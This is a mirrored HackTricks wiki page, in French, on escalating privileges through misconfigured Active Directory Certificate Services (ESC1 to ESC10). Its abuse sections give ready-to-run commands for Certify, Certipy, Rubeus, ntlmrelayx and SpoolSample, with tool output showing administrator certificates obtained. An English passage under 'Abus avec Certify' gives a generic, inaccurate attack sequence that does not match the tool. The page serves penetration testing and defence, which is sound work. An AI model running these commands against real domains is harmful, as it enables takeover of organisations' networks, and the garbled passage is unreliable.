Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 15:12:11 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

45 KiB
Raw Blame History

Escalade de domaine AD CS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Modèles de certificats mal configurés - ESC1

Explication

  • Le CA d'entreprise accorde des droits d'inscription aux utilisateurs à faibles privilèges
  • L'approbation du gestionnaire est désactivée
  • Aucune signature autorisée n'est requise
  • Un descripteur de sécurité de modèle de certificat excessivement permissif accorde des droits d'inscription aux utilisateurs à faibles privilèges
  • Le modèle de certificat définit des EKU qui permettent l'authentification :
  • Authentification client (OID 1.3.6.1.5.5.7.3.2), Authentification client PKINIT (1.3.6.1.5.2.3.4), Connexion par carte à puce (OID 1.3.6.1.4.1.311.20.2.2), Tout usage (OID 2.5.29.37.0), ou pas d'EKU (SubCA).
  • Le modèle de certificat permet aux demandeurs de spécifier un subjectAltName dans le CSR :
  • AD utilisera l'identité spécifiée par le champ subjectAltName (SAN) d'un certificat si elle est présente. Par conséquent, si un demandeur peut spécifier le SAN dans un CSR, le demandeur peut demander un certificat en tant que n'importe qui (par exemple, un utilisateur administrateur de domaine). L'objet AD du modèle de certificat spécifie si le demandeur peut spécifier le SAN dans sa propriété mspki-certificate-name-flag. La propriété mspki-certificate-name-flag est un masque de bits et si le drapeau CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est présent, un demandeur peut spécifier le SAN.

{% hint style="danger" %} Ces paramètres permettent à un utilisateur à faibles privilèges de demander un certificat avec un SAN arbitraire, permettant à l'utilisateur à faibles privilèges de s'authentifier en tant que n'importe quel principal du domaine via Kerberos ou SChannel. {% endhint %}

Cela est souvent activé, par exemple, pour permettre aux produits ou aux services de déploiement de générer des certificats HTTPS ou des certificats d'hôte à la volée. Ou en raison d'un manque de connaissance.

Notez que lorsqu'un certificat avec cette dernière option est créé, un avertissement apparaît, mais il n'apparaît pas si un modèle de certificat avec cette configuration est dupliqué (comme le modèle WebServer qui a CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT activé, puis l'administrateur peut ajouter un OID d'authentification).

Abus

Pour trouver des modèles de certificats vulnérables, vous pouvez exécuter :

Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

Pour exploiter cette vulnérabilité afin de se faire passer pour un administrateur, on peut exécuter :

Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Ensuite, vous pouvez convertir le certificat généré au format .pfx et l'utiliser pour vous authentifier à l'aide de Rubeus ou certipy à nouveau:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Les binaires Windows "Certreq.exe" et "Certutil.exe" peuvent être utilisés de manière abusive pour générer le fichier PFX : https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

De plus, la requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour énumérer les modèles de certificats qui ne nécessitent pas d'approbation/signature, qui ont une EKU d'authentification client ou de connexion par carte à puce, et qui ont le drapeau CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT activé :

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Modèles de certificats mal configurés - ESC2

Explication

Le deuxième scénario d'abus est une variation du premier :

  1. L'AC d'entreprise accorde des droits d'inscription aux utilisateurs à faible privilège.
  2. L'approbation du responsable est désactivée.
  3. Aucune signature autorisée n'est requise.
  4. Un descripteur de sécurité de modèle de certificat excessivement permissif accorde des droits d'inscription aux utilisateurs à faible privilège.
  5. Le modèle de certificat définit l'EKU Toutes fins ou aucune EKU.

L'EKU Toutes fins permet à un attaquant d'obtenir un certificat pour n'importe quelle utilisation, comme l'authentification client, l'authentification du serveur, la signature de code, etc. La même technique que pour ESC3 peut être utilisée pour abuser de cela.

Un certificat sans EKU - un certificat de CA subordonnée - peut également être utilisé à n'importe quelle fin, mais pourrait aussi être utilisé pour signer de nouveaux certificats. Ainsi, en utilisant un certificat de CA subordonnée, un attaquant pourrait spécifier des EKU ou des champs arbitraires dans les nouveaux certificats.

Cependant, si la CA subordonnée n'est pas approuvée par l'objet NTAuthCertificates (ce qui ne sera pas le cas par défaut), l'attaquant ne peut pas créer de nouveaux certificats qui fonctionneront pour l'authentification de domaine. Néanmoins, l'attaquant peut créer de nouveaux certificats avec n'importe quelle EKU et des valeurs de certificat arbitraires, dont il y en a beaucoup que l'attaquant pourrait potentiellement abuser (par exemple, la signature de code, l'authentification du serveur, etc.) et cela pourrait avoir de grandes implications pour d'autres applications du réseau telles que SAML, AD FS ou IPSec.

La requête LDAP suivante, lorsqu'elle est exécutée contre le schéma de configuration de la forêt AD, peut être utilisée pour énumérer les modèles correspondant à ce scénario :

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Modèles d'agent d'inscription mal configurés - ESC3

Explication

Ce scénario est similaire aux deux premiers, mais exploite un EKU différent (Agent de demande de certificat) et 2 modèles différents (par conséquent, il a 2 ensembles de conditions),

L'EKU de l'Agent de demande de certificat (OID 1.3.6.1.4.1.311.20.2.1), connu sous le nom d'Agent d'inscription dans la documentation Microsoft, permet à un principal de s'inscrire pour un certificat au nom d'un autre utilisateur.

L'"agent d'inscription" s'inscrit dans un tel modèle et utilise le certificat résultant pour co-signer une CSR au nom de l'autre utilisateur. Il envoie ensuite la CSR co-signée à l'AC, s'inscrivant dans un modèle qui autorise l'inscription au nom de, et l'AC répond avec un certificat appartenant à l'"autre" utilisateur.

Conditions 1:

  1. L'AC d'entreprise autorise les utilisateurs à faibles privilèges à s'inscrire.
  2. L'approbation du responsable est désactivée.
  3. Aucune signature autorisée n'est requise.
  4. Un descripteur de sécurité de modèle de certificat excessivement permissif autorise les utilisateurs à faibles privilèges à s'inscrire.
  5. Le modèle de certificat définit l'EKU de l'Agent de demande de certificat. L'OID de l'Agent de demande de certificat (1.3.6.1.4.1.311.20.2.1) permet de demander d'autres modèles de certificat au nom d'autres principaux.

Conditions 2:

  1. L'AC d'entreprise autorise les utilisateurs à faibles privilèges à s'inscrire.
  2. L'approbation du responsable est désactivée.
  3. La version du schéma du modèle est supérieure à 1 ou 2 et spécifie une exigence d'émission de politique d'application nécessitant l'EKU de l'Agent de demande de certificat.
  4. Le modèle de certificat définit un EKU qui permet l'authentification de domaine.
  5. Les restrictions de l'agent d'inscription ne sont pas mises en œuvre sur l'AC.

Abus

Vous pouvez utiliser Certify ou Certipy pour exploiter ce scénario :

# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Les autorités de certification d'entreprise peuvent restreindre les utilisateurs qui peuvent obtenir un certificat d'agent d'inscription, les modèles d'inscription auxquels les agents d'inscription peuvent s'inscrire, et les comptes pour lesquels l'agent d'inscription peut agir au nom de en ouvrant certsrc.msc snap-in -> clic droit sur l'AC -> cliquer sur Propriétés -> naviguer vers l'onglet "Agents d'inscription".

Cependant, le paramètre par défaut de l'AC est "Ne pas restreindre les agents d'inscription". Même lorsque les administrateurs activent "Restreindre les agents d'inscription", le paramètre par défaut est extrêmement permissif, permettant à tout le monde d'accéder à tous les modèles d'inscription en tant que n'importe qui.

Contrôle d'accès vulnérable aux modèles de certificats - ESC4

Explication

Les modèles de certificats ont un descripteur de sécurité qui spécifie quels principaux AD ont des autorisations spécifiques sur le modèle.

Si un attaquant a suffisamment d'autorisations pour modifier un modèle et créer l'une des misconfigurations exploitables des sections précédentes, il pourra l'exploiter et escalader les privilèges.

Droits intéressants sur les modèles de certificats :

  • Propriétaire : Contrôle total implicite de l'objet, peut modifier toutes les propriétés.
  • Contrôle total : Contrôle total de l'objet, peut modifier toutes les propriétés.
  • Écrire le propriétaire : Peut modifier le propriétaire en un principal contrôlé par l'attaquant.
  • Écrire le DACL : Peut modifier le contrôle d'accès pour accorder un contrôle total à un attaquant.
  • Écrire la propriété : Peut modifier toutes les propriétés.

Abus

Un exemple de privilège élevé comme le précédent :

ESC4 se produit lorsqu'un utilisateur dispose de privilèges d'écriture sur un modèle de certificat. Cela peut par exemple être exploité pour écraser la configuration du modèle de certificat afin de le rendre vulnérable à ESC1.

Comme nous pouvons le voir dans le chemin ci-dessus, seul JOHNPC dispose de ces privilèges, mais notre utilisateur JOHN a le nouvel attribut AddKeyCredentialLink vers JOHNPC. Étant donné que cette technique est liée aux certificats, j'ai également mis en œuvre cette attaque, connue sous le nom de Shadow Credentials. Voici un petit aperçu de la commande shadow auto de Certipy pour récupérer le hachage NT de la victime.

Certipy peut écraser la configuration d'un modèle de certificat avec une seule commande. Par défaut, Certipy écrasera la configuration pour la rendre vulnérable à ESC1. Nous pouvons également spécifier le paramètre -save-old pour sauvegarder l'ancienne configuration, ce qui sera utile pour restaurer la configuration après notre attaque.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Contrôle d'accès vulnérable aux objets PKI - ESC5

Explication

La toile des relations ACL interconnectées qui peuvent affecter la sécurité d'AD CS est vaste. Plusieurs objets en dehors des modèles de certificats et de l'autorité de certification elle-même peuvent avoir un impact sur la sécurité de l'ensemble du système AD CS. Ces possibilités comprennent (mais ne sont pas limitées à) :

  • L'objet ordinateur AD du serveur CA (c'est-à-dire, compromission via S4U2Self ou S4U2Proxy)
  • Le serveur RPC/DCOM du serveur CA
  • Tout objet ou conteneur AD descendant dans le conteneur CN=Services de clés publiques,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (par exemple, le conteneur Modèles de certificats, le conteneur Autorités de certification, l'objet NTAuthCertificates, le conteneur Services d'inscription, etc.)

Si un attaquant à faible privilège peut prendre le contrôle de l'un de ces objets, l'attaque peut probablement compromettre le système PKI.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explication

Il existe un autre problème similaire, décrit dans le message de CQure Academy, qui concerne le drapeau EDITF_ATTRIBUTESUBJECTALTNAME2. Comme le décrit Microsoft, "si ce drapeau est activé sur le CA, toute demande (y compris lorsque le sujet est construit à partir d'Active Directory®) peut avoir des valeurs définies par l'utilisateur dans le nom alternatif du sujet".
Cela signifie qu'un attaquant peut s'inscrire dans N'IMPORTE QUEL modèle configuré pour l'authentification de domaine qui permet également aux utilisateurs non privilégiés de s'inscrire (par exemple, le modèle Utilisateur par défaut) et obtenir un certificat qui nous permet de nous authentifier en tant qu'administrateur de domaine (ou tout autre utilisateur/machine actif).

Remarque : les noms alternatifs sont inclus dans une CSR via l'argument -attrib "SAN:" de certreq.exe (c'est-à-dire, "Paires Nom Valeur"). Cela est différent de la méthode pour abuser des SAN dans ESC1 car cela stocke les informations de compte dans un attribut de certificat au lieu d'une extension de certificat.

Abus

Les organisations peuvent vérifier si le paramètre est activé en utilisant la commande certutil.exe suivante :

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

En dessous, cela utilise simplement le registre distant, donc la commande suivante peut également fonctionner:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify et Certipy vérifient également cela et peuvent être utilisés pour exploiter cette mauvaise configuration :

# Check for vulns, including this one
Certify.exe find

# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Ces paramètres peuvent être définis, en supposant des droits administratifs de domaine (ou équivalents), à partir de n'importe quel système :

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Si vous trouvez ce paramètre dans votre environnement, vous pouvez supprimer ce drapeau avec :

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

{% hint style="warning" %} Après les mises à jour de sécurité de mai 2022, les nouveaux certificats auront une extension de sécurité qui intègre la propriété objectSid du demandeur. Pour ESC1, cette propriété sera reflétée à partir du SAN spécifié, mais avec ESC6, cette propriété reflète la objectSid du demandeur, et non pas celle du SAN.
Ainsi, pour exploiter ESC6, l'environnement doit être vulnérable à ESC10 (Mappings de certificats faibles), où le SAN est préféré par rapport à la nouvelle extension de sécurité. {% endhint %}

Contrôle d'accès vulnérable de l'autorité de certification - ESC7

Attaque 1

Explication

Une autorité de certification elle-même dispose d'un ensemble d'autorisations qui sécurisent diverses actions de l'AC. Ces autorisations peuvent être consultées depuis certsrv.msc, en cliquant avec le bouton droit sur une AC, en sélectionnant Propriétés, puis en passant à l'onglet Sécurité :

Cela peut également être énuméré via le module PSPKI avec Get-CertificationAuthority | Get-CertificationAuthorityAcl :

Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access

Les deux droits principaux ici sont le droit ManageCA et le droit ManageCertificates, qui se traduisent par "administrateur de CA" et "gestionnaire de certificats".

Abus

Si vous avez un principal avec les droits ManageCA sur une autorité de certification, nous pouvons utiliser PSPKI pour inverser à distance le bit EDITF_ATTRIBUTESUBJECTALTNAME2 afin de permettre la spécification de SAN dans n'importe quel modèle (ECS6) :

Cela est également possible sous une forme plus simple avec la cmdlet Enable-PolicyModuleFlag de PSPKI.

Le droit ManageCertificates permet d'approuver une demande en attente, contournant ainsi la protection "approbation du gestionnaire de certificat de l'autorité de certification".

Vous pouvez utiliser une combinaison des modules Certify et PSPKI pour demander un certificat, l'approuver et le télécharger :

# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336

Attaque 2

Explication

{% hint style="warning" %} Dans l'attaque précédente, les permissions Manage CA ont été utilisées pour activer le drapeau EDITF_ATTRIBUTESUBJECTALTNAME2 afin d'effectuer l'attaque ESC6, mais cela n'aura aucun effet tant que le service CA (CertSvc) n'est pas redémarré. Lorsqu'un utilisateur dispose du droit d'accès Manage CA, il est également autorisé à redémarrer le service. Cependant, cela ne signifie pas que l'utilisateur peut redémarrer le service à distance. De plus, ESC6 pourrait ne pas fonctionner par défaut dans la plupart des environnements patchés en raison des mises à jour de sécurité de mai 2022. {% endhint %}

Par conséquent, une autre attaque est présentée ici.

Prérequis :

  • Seulement la permission ManageCA
  • Permission Manage Certificates (peut être accordée à partir de ManageCA)
  • Le modèle de certificat SubCA doit être activé (peut être activé à partir de ManageCA)

La technique repose sur le fait que les utilisateurs ayant le droit d'accès Manage CA et Manage Certificates peuvent émettre des demandes de certificat échouées. Le modèle de certificat SubCA est vulnérable à ESC1, mais seuls les administrateurs peuvent s'inscrire dans le modèle. Ainsi, un utilisateur peut demander à s'inscrire dans le SubCA - ce qui sera refusé - mais ensuite émis par le gestionnaire.

Abus

Vous pouvez vous accorder vous-même l'accès Manage Certificates en ajoutant votre utilisateur en tant que nouvel officier.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

Le modèle SubCA peut être activé sur le CA avec le paramètre -enable-template. Par défaut, le modèle SubCA est activé.

# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Si nous avons rempli les prérequis pour cette attaque, nous pouvons commencer par demander un certificat basé sur le modèle SubCA.

Cette demande sera refusée, mais nous sauvegarderons la clé privée et noterons l'ID de la demande.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Avec notre Gérer CA et Gérer Certificats, nous pouvons ensuite émettre la demande de certificat échouée avec la commande ca et le paramètre -issue-request <ID de la demande>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Et enfin, nous pouvons récupérer le certificat délivré avec la commande req et le paramètre -retrieve <ID de la demande>.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

Relais NTLM vers les points de terminaison HTTP AD CS - ESC8

Explication

{% hint style="info" %} En résumé, si un environnement a AD CS installé, ainsi qu'un point de terminaison d'inscription web vulnérable et au moins un modèle de certificat publié qui permet l'inscription des ordinateurs de domaine et l'authentification des clients (comme le modèle Machine par défaut), alors un attaquant peut compromettre N'IMPORTE QUEL ordinateur exécutant le service spouleur ! {% endhint %}

AD CS prend en charge plusieurs méthodes d'inscription basées sur HTTP via des rôles de serveur AD CS supplémentaires que les administrateurs peuvent installer. Ces interfaces d'inscription de certificat basées sur HTTP sont toutes des attaques de relais NTLM vulnérables. En utilisant le relais NTLM, un attaquant sur une machine compromise peut se faire passer pour n'importe quel compte AD authentifiant via NTLM. Tout en se faisant passer pour le compte de la victime, un attaquant pourrait accéder à ces interfaces web et demander un certificat d'authentification client basé sur les modèles de certificat User ou Machine.

  • L'interface d'inscription web (une application ASP au look plus ancien accessible à http://<caserver>/certsrv/), par défaut, ne prend en charge que HTTP, qui ne peut pas se protéger contre les attaques de relais NTLM. De plus, il n'autorise explicitement que l'authentification NTLM via son en-tête HTTP d'autorisation, de sorte que des protocoles plus sécurisés comme Kerberos sont inutilisables.
  • Le Service d'inscription de certificat (CES), le Service Web de stratégie d'inscription de certificat (CEP) et le Service d'inscription des périphériques réseau (NDES) prennent en charge par défaut l'authentification de négociation via leur en-tête HTTP d'autorisation. L'authentification de négociation prend en charge Kerberos et NTLM ; par conséquent, un attaquant peut négocier jusqu'à l'authentification NTLM lors d'attaques de relais. Ces services web activent au moins HTTPS par défaut, mais malheureusement, HTTPS en lui-même ne protège pas contre les attaques de relais NTLM. Ce n'est que lorsque HTTPS est associé à la liaison de canal que les services HTTPS peuvent être protégés contre les attaques de relais NTLM. Malheureusement, AD CS n'active pas la protection étendue pour l'authentification sur IIS, ce qui est nécessaire pour activer la liaison de canal.

Les problèmes courants avec les attaques de relais NTLM sont que les sessions NTLM sont généralement courtes et que l'attaquant ne peut pas interagir avec des services qui imposent la signature NTLM.

Cependant, l'abus d'une attaque de relais NTLM pour obtenir un certificat à l'utilisateur résout ces limitations, car la session restera active tant que le certificat sera valide et le certificat peut être utilisé pour utiliser des services imposant la signature NTLM. Pour savoir comment utiliser un certificat volé, consultez :

{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}

Une autre limitation des attaques de relais NTLM est qu'elles nécessitent qu'un compte victime s'authentifie sur une machine contrôlée par l'attaquant. Un attaquant pourrait attendre ou essayer de le forcer :

{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Abus

La commande cas de Certify peut énumérer les points de terminaison HTTP AD CS activés :

Certify.exe cas

Les CAs d'entreprise stockent également les points de terminaison CES dans leur objet AD dans la propriété msPKI-Enrollment-Servers. Certutil.exe et PSPKI peuvent analyser et répertorier ces points de terminaison :

certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA
```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ``` #### Abus avec Certify

Certify is a popular tool used for managing SSL/TLS certificates on Windows systems. However, it can also be abused by attackers to escalate their privileges within an Active Directory domain.

The abuse of Certify involves the following steps:

  1. Obtain a low-privileged domain user account: The attacker needs to have a low-privileged domain user account within the target Active Directory domain.

  2. Install Certify: The attacker installs Certify on their machine.

  3. Generate a certificate signing request (CSR): Using Certify, the attacker generates a CSR for a domain controller certificate.

  4. Submit the CSR to the domain certificate authority (CA): The attacker submits the CSR to the domain CA for signing.

  5. Obtain the signed certificate: Once the CSR is approved and signed by the domain CA, the attacker obtains the signed certificate.

  6. Import the certificate: The attacker imports the signed certificate into Certify.

  7. Export the private key: Using Certify, the attacker exports the private key associated with the imported certificate.

  8. Import the private key into a domain user's certificate store: The attacker imports the exported private key into the certificate store of a domain user with higher privileges.

  9. Use the certificate to authenticate: The attacker can now use the imported certificate to authenticate as the higher-privileged domain user.

By abusing Certify in this way, an attacker can escalate their privileges within the Active Directory domain and gain access to sensitive resources and information. It is important for organizations to implement proper security measures to prevent such abuse and regularly monitor their certificate management systems.

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abus avec Certipy

Par défaut, Certipy demandera un certificat basé sur le modèle Machine ou User en fonction de si le nom du compte relayé se termine par $. Il est possible de spécifier un autre modèle avec le paramètre -template.

Nous pouvons ensuite utiliser une technique telle que PetitPotam pour forcer l'authentification. Pour les contrôleurs de domaine, nous devons spécifier -template DomainController.

$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Pas d'extension de sécurité - ESC9

Explication

ESC9 fait référence à la nouvelle valeur CT_FLAG_NO_SECURITY_EXTENSION (0x80000) de msPKI-Enrollment-Flag. Si ce drapeau est défini sur un modèle de certificat, la nouvelle extension de sécurité szOID_NTDS_CA_SECURITY_EXT ne sera pas intégrée. ESC9 est uniquement utile lorsque StrongCertificateBindingEnforcement est défini sur 1 (par défaut), car une configuration de mappage de certificat plus faible pour Kerberos ou Schannel peut être exploitée comme ESC10 - sans ESC9 - car les exigences seront les mêmes.

  • StrongCertificateBindingEnforcement n'est pas défini sur 2 (par défaut: 1) ou CertificateMappingMethods contient le drapeau UPN
  • Le certificat contient le drapeau CT_FLAG_NO_SECURITY_EXTENSION dans la valeur msPKI-Enrollment-Flag
  • Le certificat spécifie n'importe quelle EKU d'authentification client
  • GenericWrite sur n'importe quel compte A pour compromettre n'importe quel compte B

Abus

Dans ce cas, John@corp.local a GenericWrite sur Jane@corp.local, et nous souhaitons compromettre Administrator@corp.local. Jane@corp.local est autorisée à s'inscrire dans le modèle de certificat ESC9 qui spécifie le drapeau CT_FLAG_NO_SECURITY_EXTENSION dans la valeur msPKI-Enrollment-Flag.

Tout d'abord, nous obtenons le hachage de Jane avec, par exemple, Shadow Credentials (en utilisant notre GenericWrite).

Ensuite, nous changeons le userPrincipalName de Jane pour qu'il soit Administrator. Remarquez que nous omettons la partie @corp.local.

Cela ne viole pas de contrainte, car le userPrincipalName de l'utilisateur Administrator est Administrator@corp.local et non Administrator.

Maintenant, nous demandons le modèle de certificat vulnérable ESC9. Nous devons demander le certificat en tant que Jane.

Remarquez que le userPrincipalName dans le certificat est Administrator et que le certificat délivré ne contient aucun "SID d'objet".

Ensuite, nous rétablissons le userPrincipalName de Jane pour qu'il soit autre chose, comme son userPrincipalName d'origine Jane@corp.local.

Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hachage NT de l'utilisateur Administrator@corp.local. Vous devrez ajouter -domain <domaine> à votre ligne de commande car aucun domaine n'est spécifié dans le certificat.

Mappages de certificats faibles - ESC10

Explication

ESC10 fait référence à deux valeurs de clé de registre sur le contrôleur de domaine.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods. Valeur par défaut 0x18 (0x8 | 0x10), précédemment 0x1F.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement. Valeur par défaut 1, précédemment 0.

Cas 1

StrongCertificateBindingEnforcement défini sur 0

Cas 2

CertificateMappingMethods contient le bit UPN (0x4)

Abus Cas 1

  • StrongCertificateBindingEnforcement défini sur 0
  • GenericWrite sur n'importe quel compte A pour compromettre n'importe quel compte B

Dans ce cas, John@corp.local a GenericWrite sur Jane@corp.local, et nous souhaitons compromettre Administrator@corp.local. Les étapes d'abus sont presque identiques à ESC9, sauf que n'importe quel modèle de certificat peut être utilisé.

Tout d'abord, nous obtenons le hachage de Jane avec, par exemple, Shadow Credentials (en utilisant notre GenericWrite).

Ensuite, nous changeons le userPrincipalName de Jane pour qu'il soit Administrator. Remarquez que nous omettons la partie @corp.local.

Cela ne viole pas de contrainte, car le userPrincipalName de l'utilisateur Administrator est Administrator@corp.local et non Administrator.

Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle User par défaut. Nous devons demander le certificat en tant que Jane.

Remarquez que le userPrincipalName dans le certificat est Administrator.

Ensuite, nous rétablissons le userPrincipalName de Jane pour qu'il soit autre chose, comme son userPrincipalName d'origine Jane@corp.local.

Maintenant, si nous essayons de nous authentifier avec le certificat, nous recevrons le hachage NT de l'utilisateur Administrator@corp.local. Vous devrez ajouter -domain <domaine> à votre ligne de commande car aucun domaine n'est spécifié dans le certificat.

Abus Cas 2

  • CertificateMappingMethods contient le drapeau UPN (0x4)
  • GenericWrite sur n'importe quel compte A pour compromettre n'importe quel compte B sans propriété userPrincipalName (comptes machine et administrateur de domaine intégré Administrator)

Dans ce cas, John@corp.local a GenericWrite sur Jane@corp.local, et nous souhaitons compromettre le contrôleur de domaine DC$@corp.local.

Tout d'abord, nous obtenons le hachage de Jane avec, par exemple, Shadow Credentials (en utilisant notre GenericWrite).

Ensuite, nous changeons le userPrincipalName de Jane pour qu'il soit DC$@corp.local.

Cela ne viole pas de contrainte, car le compte d'ordinateur DC$ n'a pas de userPrincipalName.

Maintenant, nous demandons n'importe quel certificat qui permet l'authentification client, par exemple le modèle User par défaut. Nous devons demander le certificat en tant que Jane.

Ensuite, nous modifions à nouveau le `userPrincipalName` de `Jane` pour qu'il soit autre chose, comme son `userPrincipalName` d'origine (`Jane@corp.local`).

Maintenant, étant donné que cette clé de registre s'applique à Schannel, nous devons utiliser le certificat pour l'authentification via Schannel. C'est là que la nouvelle option -ldap-shell de Certipy entre en jeu.

Si nous essayons de nous authentifier avec le certificat et -ldap-shell, nous remarquerons que nous sommes authentifiés en tant que u:CORP\DC$. Il s'agit d'une chaîne envoyée par le serveur.

